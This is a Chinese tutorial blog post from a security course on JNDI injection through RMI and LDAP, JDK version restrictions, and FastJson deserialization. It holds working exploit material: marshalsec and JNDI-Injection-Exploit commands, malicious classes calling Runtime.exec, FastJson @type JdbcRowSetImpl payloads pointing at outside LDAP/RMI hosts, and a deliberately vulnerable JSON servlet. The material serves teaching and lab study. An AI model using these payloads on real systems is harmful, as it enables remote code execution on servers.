第37天:安全开发-JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类

时间轴:

思考明白:

什么是 jndi 注入
为什么有 jndi 注入
JDNI 注入安全问题
JDNI 注入利用条件
参考: https://blog.csdn.net/dupei/article/details/120534024

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#0x01-%E4%BB%80%E4%B9%88%E6%98%AF-jndi

演示案例:

JNDI 注入-RMI&LDAP 服务

JNDI 注入-FastJson 漏洞结合

JNDI 注入-JDK 高版本注入绕过

JNDI 注入-RMI&LDAP 服务

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| J NDI 全称为 Java Naming and DirectoryInterface ( Java 命名和目录接口), 是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来 定义用户、网络、机器、对象和服务等各种资源。 JNDI 支持的服务主要有: DNS 、 LDAP 、 CORBA 、 RMI 等。 RMI :远程方法调用注册表 LDAP :轻量级目录访问协议 调用检索: Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务 下,比如 RMI 、 LDAP 等。 javax.naming.InitialContext.lookup() 在 RMI 服务中调用了 InitialContext.lookup() 的类有: org.springframework.transaction.jta.JtaTransactionManager.readObj ect() com.sun.rowset.JdbcRowSetImpl.execute() javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDINa me(Str ing sfJNDIName) 在 LDAP 服务中调用了 InitialContext.lookup() 的类有: InitialDirContext.lookup() Spring LdapTemplate.lookup() LdapTemplate.lookupContext() |

演示:

1.创建新项目Jndi-Inject-Demo

2.软件包com.example.jndiinjectdemo里写JndiDemo:

java 复制代码
package com.example.jndiinjectdemo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        //创建一个rmi ldap等服务调用  实例化对象
        InitialContext ini = new InitialContext();
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.243.198.220:1389/5le86y = 远程地址的一个class文件被执行
        //ini.lookup("ldap://47.243.198.220:1389/5le86y");
        ini.lookup("rmi://47.243.198.220:1099/5le86y");
    }
}
1.JNDI远程调用JNDI-Injection

1.1使用xshell连接

java 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.243.198.220

1.2使用ldap连接

1.3使用rmi连接

2.JNDI远程调用-marshalsec

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 、使用远程调用 ( 默认端口 1389 ) new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test"); new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test"); 2、编译调用对象 javac Test.java 3、使用利用工具生成调用协议(rmi,ldap) java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test 4、将生成的Class存放访问路径 |

2.1创建项目Jndi:

在下面创建一个Test.java:(生成test文件)

java 复制代码
import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("notepad");
    }
}

生成Test.class:

进入终端terminal:

java 复制代码
生成命令:

 cd .\src\main\java\

 javac .\Test.java  

 ls

方法一:在xshell里面安装phpstudy:

java 复制代码
wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.sh

方法二:

java 复制代码
python -m SimpleHTTPServer

将文件放入该目录下

使用47.243.198.220/Test.class来查看下载成功没有

在下面创建一个ldap.java进行执行:

java 复制代码
import javax.naming.InitialContext;

public class ldap {
    public static void main(String[] args) throws Exception{

        //创建一个rmi ldap等服务调用 实例化对象
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.94.236.117:1389/nx5qkh =  远程地址的一个class文件被执行
        //ini.lookup("ldap://47.94.236.117:1389/nx5qkh");

        //new InitialContext().lookup("ldap://localhost:1389/Calc");
        new InitialContext().lookup("ldap://47.94.236.117:1389/Test");
        //new InitialContext().lookup("ldap://47.94.236.117:1389/Test");


    }
}

使用xshell运行代码:

java 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

记得打开phpstudy的防火墙

3.切换不同java,jdk版本

|--------|---------------------|------------------|----------------------|-------------------|
| 比较 | LDAP - marshalsec工具 | RMI marshalsec工具 | LDAP - jndi-inject工具 | RMI jndi-inject工具 |
| JDK 17 | 都可以 | 无法调用 | 无法调用 | 无法调用 |
| 11版本 | 都可以 | 无法调用 | 无法调用 | 无法调用 |
| 8u362 | 都可以 | 无法执行 | 无法执行 | 无法执行 |
| 8U112 | 都可以 | 可以 | 可以 | 可以 |

通过编辑器修改版本:

此处作者不做演示了。

对于jdk高版本无法绕过原因:

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

4.JNDI-Injection & marshalsec 实现原理

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RMI调用 bind:将名称绑定到对象中; lookup:通过名字检索执行的对象; Reference类表示对存在于命名/目录系统以外的对象的引用。 Reference参数: className:远程加载时所使用的类名; classFactory:加载的class中需要实例化类的名称; classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议; |

Registry首先启动,并监听一个端口,一般是1099:

java 复制代码
Registry registry = LocateRegistry.createRegistry(1099);

在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

Server向Registry注册远程对象:

java 复制代码
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 "calc"。

Client从Registry获取远程对象的代理:

java 复制代码
Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");

客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 "calc" 的远程对象,返回其代理。

Client通过这个代理调用远程对象的方法:

java 复制代码
// 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
// 例如:CalcInterface calc = (CalcInterface) remoteObject;
// 远程方法调用示例
// 例如:calc.performCalculation();

客户端通过获得的代理对象调用远程对象的方法。

Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:

在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。

Server端的代理将执行结果返回给Client端代理:

执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。

java 复制代码
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;
 
public class RMIServer {
 
    public static void main(String[] args) throws Exception {
        // 创建 RMI 注册表并监听在 1099 端口上
        Registry registry = LocateRegistry.createRegistry(1099);
 
        **// 创建一个包含类信息的 Reference 对象
        // className: 远程加载时所使用的类名
        // classFactory: 加载的类中需要实例化的类的名称
        // classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");**
 
        // 使用 Reference 对象创建 ReferenceWrapper 对象
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
 
        // 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
        registry.bind("calc", wrapper);
    }
}
java 复制代码
import java.lang.Runtime;
 
public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("mstsc");
    }
}

5.ldap总代码及总结:

java 复制代码
import javax.naming.InitialContext;

public class ldap {
    public static void main(String[] args) throws Exception{

        //1.jndi - rmi ldap服务
        //2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件
        //3.攻击利用中就用到了jndi-inject项目和marshalsec
        //3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法)
        //4.1 利用要知道其他类也能调用jndi注入(rmi,ldap)

        //创建一个rmi ldap等服务调用 实例化对象
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");
        //调用rmi ldap等服务对象类(远程服务)
        //ldap://47.94.236.117:1389/nx5qkh =  远程地址的一个class文件被执行
        //ini.lookup("ldap://47.94.236.117:1389/nx5qkh");

        //new InitialContext().lookup("ldap://localhost:1389/Calc");
        //new InitialContext().lookup("ldap://47.94.236.117:1389/Test");

        //RMI marshalsec工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以

        //RMI jndi-inject工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以
        //new InitialContext().lookup("rmi://47.94.236.117:1099/Test");

        //LDAP  - marshalsec工具
        //JDK 17
        // 11版本
        // 8u362
        // 8U112 都可以

        //LDAP  - jndi-inject工具
        //JDK 17版本 无法调用
        //11版本无法调用
        // 8u362 无法执行
        // 8U112 可以
        new InitialContext().lookup("ldap://47.94.236.117:1389/awvmkm");




    }
}
总结:

1.jndi - rmi ldap服务

2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件

3.攻击利用中就用到了jndi-inject项目和marshalsec

3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法)

4.1 利用要知道其他类也能调用jndi注入(rmi,ldap)

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

参考文章:

FastJson反序列化漏洞(复现)_fastjson漏洞复现-CSDN博客

1.先创建一个FSJNDI:

2.修改项目pom.xml:

3.在com下面创建一个Fsweb.java

java 复制代码
package com.example.fsjndi;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/json")
public class Fsweb extends HelloServlet{

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String jsondata=req.getParameter("str");
        System.out.println(jsondata);
        JSONObject jsonObject = JSON.parseObject(jsondata);
        System.out.println(jsonObject);
    }
}

4.修改index.jsp

html 复制代码
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
<form action="/json" method="post">
    please input json data:<input type="text" name="str"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>

5.如何进行直接/json访问

6.漏洞利用尝试:

html 复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/ejzqto","autoCommit":true}

7.黑盒你怎么知道fastjson 所以利用漏洞poc:

在500状态栏中由fastjson:

在发送数据时为json数据:

8.漏洞原因:(和上节课相同)

反序列化时进行转换

9.为什么可以在com.sun.rowset.JdbcRowSetImpl中使用lookup?

10.不同版本jdk8u_362:

html 复制代码
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/Test","autoCommit":true}

结果:

接受了但没有反应,因为和fastjson逻辑还是不符合

总结:

javaee开发一个json转换功能

利用fastjson组件实现的(Web应用)

和今天jndi注入(rmi ldap连贯)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

黑盒你怎么知道fastjson 所以利用漏洞poc

白盒知道fastjson 那poc为什么那样写

com.xiaodi.Run 执行命令的一个类(是我们自己写的 实战你不能写)

我们学习的ldap rmi 怎么和com.sun.rowset.JdbcRowsetImpl联系上呢?

实验去调用ldap rmi javax.naming.Initialcontext.lookup()

Initialcontext.lookup()方法 com.sun.rowset.JdbcRowsetImpl类用到

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

该文章由李豆豆喵和番薯小羊卷~共同完成。

相关推荐
考虑考虑17 小时前
Jpa使用union all
java·spring boot·后端
用户37215742613517 小时前
Java 实现 Excel 与 TXT 文本高效互转
java
浮游本尊18 小时前
Java学习第22天 - 云原生与容器化
java
渣哥20 小时前
原来 Java 里线程安全集合有这么多种
java
间彧20 小时前
Spring Boot集成Spring Security完整指南
java
间彧20 小时前
Spring Secutiy基本原理及工作流程
java
Java水解21 小时前
JAVA经典面试题附答案(持续更新版)
java·后端·面试
洛小豆1 天前
在Java中,Integer.parseInt和Integer.valueOf有什么区别
java·后端·面试
前端小张同学1 天前
服务器上如何搭建jenkins 服务CI/CD😎😎
java·后端
ytadpole1 天前
Spring Cloud Gateway:一次不规范 URL 引发的路由转发404问题排查
java·后端